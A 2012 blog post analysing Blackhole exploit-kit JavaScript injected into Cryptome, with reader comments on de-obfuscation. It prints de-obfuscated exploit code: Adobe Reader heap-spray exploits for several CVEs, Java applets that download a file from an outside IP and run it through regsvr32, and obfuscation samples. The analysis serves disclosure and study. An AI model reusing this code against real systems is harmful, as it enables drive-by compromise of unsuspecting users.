Tuesday, February 14, 2012

Technical Notes: Malware Found on Cryptome

UPDATE 2012-05-21: see this comment added by Eric Gerds, author of PluginDetect. PluginDetect is legitimate software that is misappropriated by malware authors.  PluginDetect != malware.  
UPDATE 2012-02-19: by request I added the decompiled Java from obe.jar/rin.jar, see inline links.

UPDATE 2012-02-16: Cryptome links to prior art from Dec 12th 2011. It has visuals and more elaborate explanations. Good stuff!

UPDATE 2012-02-15:
I added section "Obfuscation".

On February 12th 2012, Cryptome disclosed that between February 8th-12th 2012 it had been temporarily infected by what appears to be Blackhole Toolkit Website 12. I manually de-obfuscated and commented the stuff loaded by this de-obfuscated malicious Javascript that is included by afg.php that is included by each of 1000s of .htm files on Cryptome. These are my technical notes. The shellcodes in variables bjsg, _l1 and _l2 still need to be analyzed. I will update this post when I complete that.

1. Analysis of behavior

/* ---- check whether browser = MSIE6/7/8 & IP in range; if yes, include via IFRAME http://65.75.137.243/Home/index.php <--- ONE-TIME disclosure of malicious Javascript per IP address. Second etc. request get no code. */

1) check versions of Java, Adobe Reader, Flash
(....)
    PluginDetect.initScript();
    PluginDetect.getVersion(".");
    jver = PluginDetect.getVersion("Java", "./getJavaInfo.jar");
    pdfver = PluginDetect.getVersion("AdobeReader");
    flashver = PluginDetect.getVersion('Flash');
(...)

/// ---- based on Java version, embed applet ---- ///
1a) iff Java 6.0.0-28, embed rin.jar <---- 
contents of rin.jar (not-so-gracefully) decompile to Wiki.java.
      
function spl0() {
    if (jver[1] == 6 && jver[3] <= 28) {
        var f = document.createElement('applet');
        f.setAttribute('code', 'Wiki.class');
        f.setAttribute('archive', './content/rin.jar'); -->
        var p = document.createElement('param');
        p.setAttribute('name', 'p');
        p.setAttribute('value', 'vssMlgg=9Po9Pd%oP35%gOFU6gYPMvM-Vcd=G6cr'); // <----- http://65.75.137.243/Home/w.php?f=16&e=0
        f.appendChild(p);
        document.body.appendChild(f);
    }
    spl1()
}

1b) iff Java < 6, embed obe.jar <--- contents of obe.jar (gracefully) decompile to b.java, f.java, Plugin.java, q.java and v.java.

 --> from the Java code:
   --> iff
os.name contains "Windows"
     -->
malfile =
HTTP GET http://65.75.137.243/Home/w.php?f=16&e=1, retrieved via FileOutputStream (I get 0 bytes)
     -->
regsvr32 -s malfile  // via Object.exec(); unused parameters "df567y", "sdg7a"

function spl1() {
    if (jver[1] < 6) {
        var f = document.createElement('applet');
        f.setAttribute('code', 'chrome.Plugin.class');
        f.setAttribute('archive', './content/obe.jar'); ------>  HTTP GET to http://65.75.137.243/Home/w.php?f=16&e=1  ////////////////////package chrome; if (jver[1] == 6 && jver[3] <= 28) does HTTP GET to  http://65.75.137.243/Home/w.php?f=16&e=0 // NEVER HAPPENS;
        var p = document.createElement('param');
        p.setAttribute('name', 'p');
        p.setAttribute('value', 'vssMlgg=9Po9Pd%oP35%gOFU6gYPMvM-Vcd=G6cd'); // <----- http://65.75.137.243/Home/w.php?f=16&e=1
        f.appendChild(p);
        document.body.appendChild(f);
    }
    spl2()
}

 

1c) do nothing

function spl2() {
    spl3()
}


/// ---- based on Adobe Reader version, include malicious pdf via IFRAME ---- /// 

1d) iff Adobe Reader 1-7
 function spl3() {
     if (pdfver[0] > 0 && pdfver[0] < 8) {
        show_pdf('./content/adp1.php?f=16')

//
==================================================================================

function ezvr(ra, qy) {
    while (ra.length * 2 < qy) {
        ra += ra;
    }
    ra = ra.substring(0, qy / 2);
    return ra;
}

//-----------
// EXPLOIT 1: CVE-2007-5659 --> Collab.collectEmailInfo()
// --> executed iff EScript-version is {6,7} AND appviewer-version < 7.11
// --> VERY similar code seen at e.g. http://pastebin.com/TC8hN7we (Jan 29th 2012)
//-----------
function bx() {
    var dkg = new Array();
    var vw = 0x0c0c0c0c;
    var addr = 0x400000;
    var payload = unescape(bjsg); <-------- SHELLCODE
    var sc_len = payload.length * 2;
    var qy = addr - (sc_len + 0x38);
    var yarsp = unescape("%u9090%u9090");
    yarsp = ezvr(yarsp, qy);
    var count2 = (vw - 0x400000) / addr;
    for (var count = 0; count < count2; count++) {
        dkg[count] = yarsp + payload;
    }
    var overflow = unescape("%u0c0c%u0c0c");
    while (overflow.length < 44952) {
        overflow += overflow;
    }
    this.collabStore = Collab.collectEmailInfo({
        subj: "",
        msg: overflow
    });
}

//-----------
// EXPLOIT 2: CVE-2008-2992 --> util.printf()
// --> executed if EScript version == 7.1
// --> very similar code seen at e.g. http://pastebin.com/ay7vx9dS (Jan 27th, 2012) and http://downloads.securityfocus.com/vulnerabilities/exploits/30035.c (Nov 6th, 2008)
//-----------
function printf() {
    nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
    var payload = unescape(bjsg); <-------- SHELLCODE
    heapblock = nop + payload;
    bigblock = unescape("%u0A0A%u0A0A");
    headersize = 20;
    spray = headersize + heapblock.length;
    while (bigblock.length < spray) {
        bigblock += bigblock;
    }
    fillblock = bigblock.substring(0, spray);
    block = bigblock.substring(0, bigblock.length - spray);
    while (block.length + spray < 0x40000) {
        block = block + block + fillblock;
    }
    mem = new Array();
    for (i = 0; i < 1400; i++) {
        mem[i] = block + heapblock;
    }
    var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
    util.printf("%45000f", num);
}

//-----------
// EXPLOIT 3: CVE-2009-0927 --> Collab.getIcon
// --> executed iff EScript version == 9 OR (appviewer-version == 8 AND EScript-version <=8.12)
// --> very similar code observed e.g. at http://pastebin.com/TC8hN7we (Jan 29th 2012) and http://jsunpack.jeek.org/dec/go?report=f0ecb4de6d3ec7d1a507cf44fee4ce6f26bb9197 (Mar 3rd 2011)
//-----------
function geticon() {
    var arry = new Array();
    if (app.doc.Collab.getIcon) {
        var payload = unescape(bjsg);   <-------- SHELLCODE
        var hWq500CN = payload.length * 2;
        var qy = 0x400000 - (hWq500CN + 0x38);
        var yarsp = unescape("%u9090%u9090");
        yarsp = ezvr(yarsp, qy);
        var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
        for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y++) {
            arry[vqcQD96y] = yarsp + payload;
        }
        var tUMhNbGw = unescape("%09");
        while (tUMhNbGw.length < 0x4000) {
            tUMhNbGw += tUMhNbGw;
        }
        tUMhNbGw = "N." + tUMhNbGw;
        app.doc.Collab.getIcon(tUMhNbGw); // BAM
    }
}
aPlugins = app.plugIns;
var sv = parseInt(app.viewerVersion.toString().charAt(0));
for (var i = 0; i < aPlugins.length; i++) {
    if (aPlugins[i].name == "EScript") {
        var lv = aPlugins[i].version;
    }
}

//--------
// this version-based branching is similar to http://wepawet.cs.ucsb.edu/view.php?hash=dfe388f17445fb4c102b52e0692258ba&t=1268952889&type=js
// except that the below also includes the WEIRD branch for "(lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17)" which is ALWAYS TRUE
/--------
if ((lv == 9) || ((sv == 8) && (lv <= 8.12))) { //  geticon() exploit iff EScript-version=9 OR (EScript-version<=8.12 AND appreader-version=8)
    geticon();
} else if (lv == 7.1) { // util.printf() exploit iff EScript=7.1
    printf();
} else if (((sv == 6) || (sv == 7)) && (lv < 7.11)) { // Collab.collectEmailInfo() CVE-2007-5659 iff (EScript-version=6/7  &&  appviewer-version < 7.11)
    bx();
} else if ((lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17)) { // ALWAYS TRUE =) EScript >=9.1 of <=9.2 of >=8.13 of <=8.17
      
    //-----------
    // EXPLOIT 4a CVE-2008-0015
    // --> executed multiple times, within branch for EScript-version = (> 8.12 and < 8.2)
    // --> code very similar to http://praetorianprefect.com/archives/2009/12/adobe-util-printd-zero-day/ (Dec 16th, 2009)
    //-----------
    function a() {
        util.printd("p@111111111111111111111111 : yyyy111", new Date());
    }
    var h = app.plugIns;
    for (var f = 0; f < h.length; f++) {
        if (h[f].name == "EScript") {
            var i = h[f].version;
        }
    }
    if ((i > 8.12) && (i < 8.2)) { // indien EScript-versie is > 8.12 en < 8.2
        c = new Array();
        var d = unescape("%u9090%u9090");
        var e = unescape(bjsg);  <-------- SHELLCODE
        while (d.length <= 0x8000) {
            d += d;
        }
        d = d.substr(0, 0x8000 - e.length);
        for (f = 0; f < 2900; f++) {
            c[f] = d + e;
        }
        a(); // 1st run of CVE-2008-0015
        a(); // 2nd run of CVE-2008-0015
        try {
            //-----------
            // EXPLOIT 4b CVE-2009-4324
            // --> see http://vrt-blog.snort.org/2009/12/adobe-reader-medianewplayer-analysis.html
            //-----------
            this.media.newPlayer(null);
        } catch (e) {}
        a(); // 3rd run of CVE-2008-0015
    }
}

1e) iff Adobe Reader=8 or Adobe Reader =9.3

 
    } else if ((pdfver[0] == 8) || (pdfver[0] == 9 && pdfver[1] <= 3)) {
        show_pdf('./content/adp2.php?f=16')

//-------

// EXPLOIT 1 CVE-2010-0188 --> Libtiff integer overflow in Adobe Reader and Acrobat
// See http://wepawet.cs.ucsb.edu/view.php?hash=d2e2808326ad7ba4cecc2bfe40279953&t=1327335294&type=js
//-------
 var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
 

_l3 = app;
_l4 = new Array();

function _l5() {
    var _l6 = _l3.viewerVersion.toString();
    _l6 = _l6.replace('.', '');
    while (_l6.length < 4) _l6 += '0';
    return parseInt(_l6, 10)
}
function _l7(_l8, _l9) {
    while (_l8.length * 2 < _l9) _l8 += _l8;
    return _l8.substring(0, _l9 / 2)
}
function _I0(_I1) {
    _I1 = unescape(_I1);
    roteDak = _I1.length * 2;
    dakRote = unescape('%u9090');
    spray = _l7(dakRote, 0x2000 - roteDak);
    loxWhee = _I1 + spray;
    loxWhee = _l7(loxWhee, 524098);
    for (i = 0; i < 400; i++) _l4[i] = loxWhee.substr(0, loxWhee.length - 1) + dakRote;
}
function _I2(_I1, len) {
    while (_I1.length < len) _I1 += _I1;
    return _I1.substring(0, len)
}
function _I3(_I1) {
    ret = '';
    for (i = 0; i < _I1.length; i += 2) {
        b = _I1.substr(i, 2);
        c = parseInt(b, 16);
        ret += String.fromCharCode(c);
    }
    return ret
}
function _ji1(_I1, _I4) {
    _I5 = '';
    for (_I6 = 0; _I6 < _I1.length; _I6++) {
        _l9 = _I4.length;
        _I7 = _I1.charCodeAt(_I6);
        _I8 = _I4.charCodeAt(_I6 % _l9);
        _I5 += String.fromCharCode(_I7 ^ _I8);
    }
    return _I5
}
function _I9(_I6) {
    _j0 = _I6.toString(16);
    _j1 = _j0.length;
    _I5 = (_j1 % 2) ? '0' + _j0 : _j0;
    return _I5
}
function _j2(_I1) {
    _I5 = '';
    for (_I6 = 0; _I6 < _I1.length; _I6 += 2) {
        _I5 += '%u';
        _I5 += _I9(_I1.charCodeAt(_I6 + 1));
        _I5 += _I9(_I1.charCodeAt(_I6))
    }
    return _I5
}
function _j3() {
    _j4 = _l5();
    if (_j4 < 9000) {
        _j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
        _j6 = _l1;
        _j7 = _I3(_j6)
    } else {
        _j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
        _j6 = _l2;
        _j7 = _I3(_j6)
    }
    _j8 = 'SUkqADggAABB';
    _j9 = _I2('QUFB', 10984);
    _ll0 = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
    _ll1 = _j8 + _j9 + _ll0 + _j5;
    _ll2 = _ji1(_j7, '');
    if (_ll2.length % 2) _ll2 += unescape('');
    _ll3 = _j2(_ll2);
    with({
        k: _ll3
    }) _I0(k);
    qwe123b.rawValue = _ll1
}
_j3();

//==================================================================================

    }
    spl4()
}

1f) do nothing
function spl4() {
    spl5()
}

1g) wait
function spl5() {
    setTimeout(end_redirect, 8000)
}


As stated above: the shellcodes in variables bjsg, _l1 and _l2 still need to be analyzed.

Random observation: the code refers to many different OSs and browsers. Example:

d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win" + ".*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
c.isGecko = (/Gecko/i).test(h) && 1 && (/Gecko\s*\/\s*\d/i).test(i);
c.isSafari = (/Safari\s*\/\s*\d/i).test(i) && (/Apple/i).test(g);
c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
c.isIE = new Function("return " + e + "*@" + "cc_on!@*" + e + "fa" + "lse")();


2. Obfuscation
'Obfuscation' refers to hiding program flow and variables to make it difficult for humans and computers to understand WHAT a program does (e.g. intercept keystrokes, attack others systems, avoid detection) and HOW (e.g. SetWindowsHookEx, nmap + exploit remote vulns in Windows, rootkit techniques), including network connectivity.

Here are examples of obfuscation found in the Blackhole malware.

1) in afg.php we observe:
1a) example 1:

$dfjgkbl=base64_decode('aHR0cDovLzY1Ljc1LjEzNy4yNDMvSG9tZS9pbmRleC5waHA=');
in stead of simply:
$dfjgkbl="http://65.75.137.243/Home/index.php";
or even more simply, using a clearly-named variable:
$url="http://65.75.137.243/Home/index.php";

1b) example 2:
$OOOOOO000 = "MSIE"

in stead of simply:

$browser = "MSIE"
2) in the content included from http://65.75.137.243/Home/index.php we observe
2a) example 3:

<em>58a#69a#57a#75a#67a#59a#68a#74a#4a#77a#72a#63a (....) </em>
<script>
// a) 'decipher' what is between <em></em>
// b) execute that as Javascript
(....)
</script>
 
in stead of simply:
<output of (a) here>

2b) example 4:
e=eval;
st=e('S'+'tring');

in stead of simply:

st=eval('String');

3) in the content included by the malicious Javascript in (2) we observe
3a) example 5, in Plugin.java (=decompiled version of Plugin.class inside obe.jar);

public String d = e("h6FeWh6Feih6Fendh6Feh6Feoh6Fewh6Fesh6Fe".split("h6Fe"));
public static String e(String[] p1)
{ // de-obfuscate
  StringBuffer l1 = new StringBuffer("");
  for (int i = 0; i < p1.length; l1.append(p1[(i++)].trim()));
  return l1.toString();
}


in stead of simply:
public String d = "Windows";


3b) example 6, in the ADP2-PDF, we observe

function test(){
    return w(s.join(''));  // <--- final step of de-obfuscation
}
x='e';
ar={q:'0^1^2^3^4^1^5^5^ (....) }['q']; // <------- obfuscated Javascript

// start of lots of small de-obfuscation steps:
cc={q:"var pding;b,cefhots_x=wAy()l1\"420657839u{.VS'&lt;+I}*/DkR%-W[]mCj^?:LBKQYEUqFM"}.q;
q=x+'v';
q+={q:'qwe',w:'l','cq':'a'}.cq;
q+={q:'qwe',w:'l','cq':'a'}.w;
a=([]+Date).&#115;ubstr(2,3);
aa=([123,412].unshift+[1,'a'][1].indexOf).substr(2,3);
if (aa==a){
e='3vtwe'&#46;substr;
&#000119;=e(12)[q];
s=[];
ar=ar.&#115;plit('^');
&#00110;=cc;
for(i=0;i-ar.length&lt;0;i++){
s[i]=n[ar[i]];
}
test();
}


instead of simply:
<output of test() here>

8 comments:

  1. i recently had my gmail account hacked and started sending pdf's out with this payload. still puzzled on how my gmail account got compromised :(

    ReplyDelete
  2. If you have a sample, please send it to me. I'd like to see to what extent your sample is (dis)similar.

    This Pastebin user posted similar code-snippets just before the Cryptome-infection (which occurred on Feb 8th, detected on Feb 12th):

    http://pastebin.com/u/shixiliufang

    ReplyDelete
  3. I just received such a malicious PDF per Mail. For the moment i decoded an huge Array of numbers, and some code which is like Your example 3b. Unfortunaly i'm not to tough with javascript and don't have a clue what some notations mean.

    Could You provide me with some hints?

    Here is the design of the code in snippets:

    if(app)ar=[];
    function test3()
    {
    if(s)v=ar[z];
    s=s+cc[v+4];
    }
    cc={q:"var pding;b,cefhots_x=wAy()l1'420657839u{.VS'<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM"}.q;
    qq='ghej4vabl';
    q=qq[2]+qq[5]+qq[6];
    q=q+qq[8];
    // I guess q = "eval"
    b={v:{q:{x:this}}}.v.q.x;
    w={v:b[q]}.v;
    s=Array();
    n={v:cc}.v;
    for(i=0;i-3950<0;i++){z=i;test3();}
    w(s);

    Could You help me, understand the lines which begin with cc, b, w and n?

    I gues w is something wich will execute the code wich will be put into s, but i don't get it how w becomes this thing.

    Thanks in Advance

    ReplyDelete
    Replies
    1. 1) cc={q:"var pding;b,cefhots_x=wAy()l1'420657839u{.VS'<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM"}.q;

      ...can be rewritten as:

      cc="var pding;b,cefhots_x=wAy()l1'420657839u{.VS'<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM";

      2) b={v:{q:{x:this}}}.v.q.x;

      ...can be rewritten as:

      b=this;

      3) n={v:cc}.v;

      ...can be rewritten as:

      n=cc;

      4) w={v:b[q]}.v;

      ...can be rewritten as:

      w=b[q];

      5) Indeed, q="eval" and w(s) is interpreted as eval(s)

      Does this help?

      Delete
    2. Thanks a lot,

      this obfuscation methods are some kind of genius things. But i guess, these days the code is obfuscated by some automatic generators, so that any "script kiddie" could obfuscate its code.

      I didn't know that a construct like {v:'some text'}.v could represent 'some text' itself, i can't get any reasonable idea why such syntax would be used for other things than obfuscation.
      I guess the n=cc line is simply for distraction, because n is never used again (or maybe it will be used in the decoded code).

      Now i can also guess how the malicious is code stored in the array. It could be decoded by using the cc-array as an alphabet, and the numbers in the big array are only representing the position in the alphabet-array.

      Thanks a lot again. I'm new in the "security scene" and try to understand my "enemies & foes" as much as i can.

      Delete
  4. What does "if(app)ar[]" do exactly. When trying to run it the interpreter seem to complain about "app"

    ReplyDelete
  5. I am the author of PluginDetect, which is a legitimate Javascript library used to detect browser plugins. It is free of any malware/viruses/trojans. Unfortunately, some folks out there are using my software to detect vulnerable or out of date plugins, and then exploit that info to spread their malware.

    My problem is this: an antivirus software sometimes (rarely) will say that PluginDetect is malware, when clearly it is not (ie. a false positive). I think PluginDetect sometimes can trigger a false positive because it can appear in the same Javascript file along with ACTUAL malware, and then PluginDetect gets the blame by the AntiVirus vendors.

    On your page http://cyberwar.nl/d/20120214_Cryptome_malware/20120214_Cryptome_malwareJS1.txt

    All the code from:
    var PluginDetect = {...}

    up to and including:
    PluginDetect.initScript();

    is MY code, is legitimate, and contains no actual malware. The rest of it is not mine and is malware.

    My problem is that I do not know how to minimize the false positives that some AntiVirus scanners may give when scanning my PluginDetect script. Obviously I cannot stop any nefarious individuals from using PluginDetect, but it would nice if there were a way to reduce the false positives.

    [The AntiVirus folks are usually very good in correcting the false positives when they are reported, btw]

    Anyone have any ideas?

    Eric

    ReplyDelete
    Replies
    1. Eric, I updated the post with a link to your comment. Thanks for commenting, very useful contribution. I have no idea how to prevent bad use of good code. I can only think of obfuscation + whitelisting, but in the end, the code will be executed in a client-side JavaScript interpreter and can easily be recovered / reverse engineered.

      Let me echo your question: anyone have any ideas?

      Delete